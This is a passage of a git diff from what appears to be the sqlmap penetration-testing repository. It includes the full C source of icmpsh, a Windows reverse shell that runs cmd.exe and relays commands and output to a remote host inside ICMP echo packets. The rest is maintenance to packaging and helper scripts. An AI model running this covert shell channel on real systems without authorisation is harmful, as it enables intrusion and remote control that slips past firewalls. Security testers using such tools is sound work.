+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
+
+#define STATUS_OK 0
+#define STATUS_SINGLE 1
+#define STATUS_PROCESS_NOT_CREATED 2
+
+#define TRANSFER_SUCCESS 1
+#define TRANSFER_FAILURE 0
+
+#define DEFAULT_TIMEOUT 3000
+#define DEFAULT_DELAY 200
+#define DEFAULT_MAX_BLANKS 10
+#define DEFAULT_MAX_DATA_SIZE 64
+
+FARPROC icmp_create, icmp_send, to_ip;
+
+int verbose = 0;
+
+int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
+{
+ SECURITY_ATTRIBUTES sattr;
+ STARTUPINFOA si;
+ HANDLE in_read, out_write;
+
+ memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
+
+ // create communication pipes
+ memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sattr.bInheritHandle = TRUE;
+ sattr.lpSecurityDescriptor = NULL;
+
+ if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ // spawn process
+ memset(&si, 0x00, sizeof(STARTUPINFO));
+ si.cb = sizeof(STARTUPINFO);
+ si.hStdError = out_write;
+ si.hStdOutput = out_write;
+ si.hStdInput = in_read;
+ si.dwFlags |= STARTF_USESTDHANDLES;
+
+ if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ CloseHandle(out_write);
+ CloseHandle(in_read);
+
+ return STATUS_OK;
+}
+
+void usage(char *path)
+{
+ printf("%s [options] -t target\n", path);
+ printf("options:\n");
+ printf(" -t host host ip address to send ping requests to\n");
+ printf(" -r send a single test icmp request and then quit\n");
+ printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
+ printf(" -o milliseconds timeout in milliseconds\n");
+ printf(" -h this screen\n");
+ printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
+ printf(" before quitting\n");
+ printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+ printf("In order to improve the speed, lower the delay (-d) between requests or\n");
+ printf("increase the size (-s) of the data buffer\n");
+}
+
+void create_icmp_channel(HANDLE *icmp_chan)
+{
+ // create icmp file
+ *icmp_chan = (HANDLE) icmp_create();
+}
+
+int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
+{
+ int rs;
+ char *temp_in_buf;
+ int nbytes;
+
+ PICMP_ECHO_REPLY echo_reply;
+
+ temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
+ if (!temp_in_buf) {
+ return TRANSFER_FAILURE;
+ }
+
+ // send data to remote host
+ rs = icmp_send(
+ icmp_chan,
+ target,
+ out_buf,
+ out_buf_size,
+ NULL,
+ temp_in_buf,
+ max_in_data_size + ICMP_HEADERS_SIZE,
+ timeout);
+
+ // check received data
+ if (rs > 0) {
+ echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
+ if (echo_reply->DataSize > max_in_data_size) {
+ nbytes = max_in_data_size;
+ } else {
+ nbytes = echo_reply->DataSize;
+ }
+ memcpy(in_buf, echo_reply->Data, nbytes);
+ *in_buf_size = nbytes;
+
+ free(temp_in_buf);
+ return TRANSFER_SUCCESS;
+ }
+
+ free(temp_in_buf);
+
+ return TRANSFER_FAILURE;
+}
+
+int load_deps()
+{
+ HMODULE lib;
+
+ lib = LoadLibraryA("ws2_32.dll");
+ if (lib != NULL) {
+ to_ip = GetProcAddress(lib, "inet_addr");
+ if (!to_ip) {
+ return 0;
+ }
+ }
+
+ lib = LoadLibraryA("iphlpapi.dll");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ lib = LoadLibraryA("ICMP.DLL");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ printf("failed to load functions (%u)", GetLastError());
+
+ return 0;
+}
+int main(int argc, char **argv)
+{
+ int opt;
+ char *target;
+ unsigned int delay, timeout;
+ unsigned int ip_addr;
+ HANDLE pipe_read, pipe_write;
+ HANDLE icmp_chan;
+ unsigned char *in_buf, *out_buf;
+ unsigned int in_buf_size, out_buf_size;
+ DWORD rs;
+ int blanks, max_blanks;
+ PROCESS_INFORMATION pi;
+ int status;
+ unsigned int max_data_size;
+
+ // set defaults
+ target = 0;
+ timeout = DEFAULT_TIMEOUT;
+ delay = DEFAULT_DELAY;
+ max_blanks = DEFAULT_MAX_BLANKS;
+ max_data_size = DEFAULT_MAX_DATA_SIZE;
+
+ status = STATUS_OK;
+ if (!load_deps()) {
+ printf("failed to load ICMP library\n");
+ return -1;
+ }
+
+ // parse command line options
+ for (opt = 1; opt < argc; opt++) {
+ if (argv[opt][0] == '-') {
+ switch(argv[opt][1]) {
+ case 'h':
+ usage(*argv);
+ return 0;
+ case 't':
+ if (opt + 1 < argc) {
+ target = argv[opt + 1];
+ }
+ break;
+ case 'd':
+ if (opt + 1 < argc) {
+ delay = atol(argv[opt + 1]);
+ }
+ break;
+ case 'o':
+ if (opt + 1 < argc) {
+ timeout = atol(argv[opt + 1]);
+ }
+ break;
+ case 'r':
+ status = STATUS_SINGLE;
+ break;
+ case 'b':
+ if (opt + 1 < argc) {
+ max_blanks = atol(argv[opt + 1]);
+ }
+ break;
+ case 's':
+ if (opt + 1 < argc) {
+ max_data_size = atol(argv[opt + 1]);
+ }
+ break;
+ default:
+ printf("unrecognized option -%c\n", argv[1][0]);
+ usage(*argv);
+ return -1;
+ }
+ }
+ }
+
+ if (!target) {
+ printf("you need to specify a host with -t. Try -h for more options\n");
+ return -1;
+ }
+ ip_addr = to_ip(target);
+
+ // don't spawn a shell if we're only sending a single test request
+ if (status != STATUS_SINGLE) {
+ status = spawn_shell(&pi, &pipe_read, &pipe_write);
+ }
+
+ // create icmp channel
+ create_icmp_channel(&icmp_chan);
+ if (icmp_chan == INVALID_HANDLE_VALUE) {
+ printf("unable to create ICMP file: %u\n", GetLastError());
+ return -1;
+ }
+
+ // allocate transfer buffers
+ in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ if (!in_buf || !out_buf) {
+ printf("failed to allocate memory for transfer buffers\n");
+ return -1;
+ }
+ memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+ memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+
+ // sending/receiving loop
+ blanks = 0;
+ do {
+
+ switch(status) {
+ case STATUS_SINGLE:
+ // reply with a static string
+ out_buf_size = sprintf(out_buf, "Test1234\n");
+ break;
+ case STATUS_PROCESS_NOT_CREATED:
+ // reply with error message
+ out_buf_size = sprintf(out_buf, "Process was not created\n");
+ break;
+ default:
+ // read data from process via pipe
+ out_buf_size = 0;
+ if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
+ if (out_buf_size > 0) {
+ out_buf_size = 0;
+ rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
+ if (!rs && GetLastError() != ERROR_IO_PENDING) {
+ out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
+ }
+ }
+ } else {
+ out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
+ }
+ break;
+ }
+
+ // send request/receive response
+ if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
+ if (status == STATUS_OK) {
+ // write data from response back into pipe
+ WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
+ }
+ blanks = 0;
+ } else {
+ // no reply received or error occured
+ blanks++;
+ }
+
+ // wait between requests
+ Sleep(delay);
+
+ } while (status == STATUS_OK && blanks < max_blanks);
+
+ if (status == STATUS_OK) {
+ TerminateProcess(pi.hProcess, 0);
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_
index fef9eb5d075..46a2115cc44 100644
Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ
diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_
index 707953d0364..d3b4bebfe90 100644
Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ
diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln
index 0770582d092..a70c648d0dc 100644
--- a/extra/runcmd/src/runcmd.sln
+++ b/extra/runcmd/src/runcmd.sln
@@ -1,20 +1,20 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp
index ab40a0c218e..743f2a279ef 100644
--- a/extra/runcmd/src/runcmd/runcmd.cpp
+++ b/extra/runcmd/src/runcmd/runcmd.cpp
@@ -1,46 +1,46 @@
-/*
- runcmd - a program for running command prompt commands
- Copyright (C) 2010 Miroslav Stampar
- email: miroslav.stampar@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#include
-#include
-#include
-#include "stdafx.h"
-#include
-
-using namespace std;
-int main(int argc, char* argv[])
-{
- FILE *fp;
- string cmd;
-
- for( int count = 1; count < argc; count++ )
- cmd += " " + string(argv[count]);
-
- fp = _popen(cmd.c_str(), "r");
-
- if (fp != NULL) {
- char buffer[BUFSIZ];
-
- while (fgets(buffer, sizeof buffer, fp) != NULL)
- fputs(buffer, stdout);
- }
-
- return 0;
-}
+/*
+ runcmd - a program for running command prompt commands
+ Copyright (C) 2010 Miroslav Stampar
+ email: miroslav.stampar@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+#include
+#include
+#include
+#include "stdafx.h"
+#include
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+ FILE *fp;
+ string cmd;
+
+ for( int count = 1; count < argc; count++ )
+ cmd += " " + string(argv[count]);
+
+ fp = _popen(cmd.c_str(), "r");
+
+ if (fp != NULL) {
+ char buffer[BUFSIZ];
+
+ while (fgets(buffer, sizeof buffer, fp) != NULL)
+ fputs(buffer, stdout);
+ }
+
+ return 0;
+}
diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj
index 928c71606b0..157e33863d9 100644
--- a/extra/runcmd/src/runcmd/runcmd.vcproj
+++ b/extra/runcmd/src/runcmd/runcmd.vcproj
@@ -1,225 +1,225 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp
index f5e349538ca..e191a9156a4 100644
--- a/extra/runcmd/src/runcmd/stdafx.cpp
+++ b/extra/runcmd/src/runcmd/stdafx.cpp
@@ -1,8 +1,8 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h
index bdabbfb48e9..0be0e6ffee0 100644
--- a/extra/runcmd/src/runcmd/stdafx.h
+++ b/extra/runcmd/src/runcmd/stdafx.h
@@ -1,17 +1,17 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
-#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
-#endif
-
-#include
-#include
-
-
-
-// TODO: reference additional headers your program requires here
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
+#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
+#endif
+
+#include
+#include
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_
index 4d050d0c19a..c0857d971f5 100644
Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32_ and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ
diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_
index 4bc2367a4fb..13ef7522987 100644
Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64_ and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ
diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
index fe435f7628c..b55141d1d93 100644
Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index e27b3b99111..3ba88a266ac 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index 76180b61f95..c334b972e84 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,14 +1,9 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
-# Stress test against Python3
+# Stress test against Python3(.14)
-export SQLMAP_DREI=1
-#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
-unset SQLMAP_DREI
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done
source `dirname "$0"`"/junk.sh"
-
-# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file'
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index 71fce7edd95..5de6e357e57 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index ff339b58817..544ccf12163 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh
deleted file mode 100755
index e63194241ae..00000000000
--- a/extra/shutils/modernize.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-# sudo pip install modernize
-
-for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done
diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh
index 9a25d123bb7..300916ae369 100755
--- a/extra/shutils/precommit-hook.sh
+++ b/extra/shutils/precommit-hook.sh
@@ -12,17 +12,19 @@ chmod +x .git/hooks/pre-commit
PROJECT="../../"
SETTINGS="../../lib/core/settings.py"
+DIGEST="../../data/txt/sha256sums.txt"
declare -x SCRIPTPATH="${0}"
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
+DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
if [ -f $SETTINGS_FULLPATH ]
then
- LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
+ LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"')
declare -a LINE
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
if [ -n "$INCREMENTED" ]
@@ -35,3 +37,6 @@ then
fi
git add "$SETTINGS_FULLPATH"
fi
+
+cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
+git add "$DIGEST_FULLPATH"
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index a643ef082c5..8b3f0121f0f 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index b67f0dc5325..20c62373daf 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index dfbac1bb5fa..cbe37a7a0a8 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh
deleted file mode 100755
index dca46a2c7ee..00000000000
--- a/extra/shutils/pylint.sh
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index 99e0ff0b378..3cdbdf5d714 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -1,4 +1,6 @@
#!/bin/bash
+set -euo pipefail
+IFS=$'\n\t'
if [ ! -f ~/.pypirc ]; then
echo "File ~/.pypirc is missing"
@@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}"
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
TYPE=pip
-TMP_DIR=/tmp/pypi
-mkdir $TMP_DIR
-cd $TMP_DIR
-cat > $TMP_DIR/setup.py << EOF
+TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)"
+cleanup() { rm -rf -- "${TMP_DIR:?}"; }
+trap cleanup EXIT
+cd "$TMP_DIR"
+cat > "$TMP_DIR/setup.py" << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -30,7 +33,7 @@ setup(
long_description_content_type='text/x-rst',
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
- url='http://sqlmap.org',
+ url='https://sqlmap.org',
project_urls={
'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki',
'Source': 'https://github.com/sqlmapproject/sqlmap/',
@@ -38,7 +41,8 @@ setup(
},
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
- packages=find_packages(),
+ packages=['sqlmap'],
+ package_dir={'sqlmap':'sqlmap'},
include_package_data=True,
zip_safe=False,
# https://pypi.python.org/pypi?%3Aaction=list_classifiers
@@ -67,7 +71,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -81,7 +85,7 @@ cat > README.rst << "EOF"
sqlmap
======
-|Build Status| |Python 2.6|2.7|3.x| |License| |Twitter|
+|Python 2.7|3.x| |License| |X|
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
@@ -122,7 +126,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with
-`Python `__ version **2.6**, **2.7** and
+`Python `__ version **2.7** and
**3.x** on any platform.
Usage
@@ -149,7 +153,7 @@ manual `__.
Links
-----
-- Homepage: http://sqlmap.org
+- Homepage: https://sqlmap.org
- Download:
`.tar.gz `__
or `.zip `__
@@ -159,24 +163,30 @@ Links
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
- Frequently Asked Questions (FAQ):
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-- Twitter: https://twitter.com/sqlmap
+- X: https://x.com/sqlmap
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
-.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master
- :target: https://api.travis-ci.org/sqlmapproject/sqlmap
-.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg
+.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg
:target: https://www.python.org/
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE
-.. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg
- :target: https://twitter.com/sqlmap
+.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg
+ :target: https://x.com/sqlmap
.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md
.. http://rst.ninjs.org/
EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
-for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
-python setup.py sdist upload
-rm -rf $TMP_DIR
+: > MANIFEST.in
+while IFS= read -r -d '' file; do
+ case "$file" in
+ *.git|*.yml) continue ;;
+ esac
+ echo "include $file" >> MANIFEST.in
+done < <(find sqlmap -type f -print0)
+python setup.py sdist bdist_wheel
+twine check dist/*
+twine upload --config-file=~/.pypirc dist/*
+rm -rf "$TMP_DIR"
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
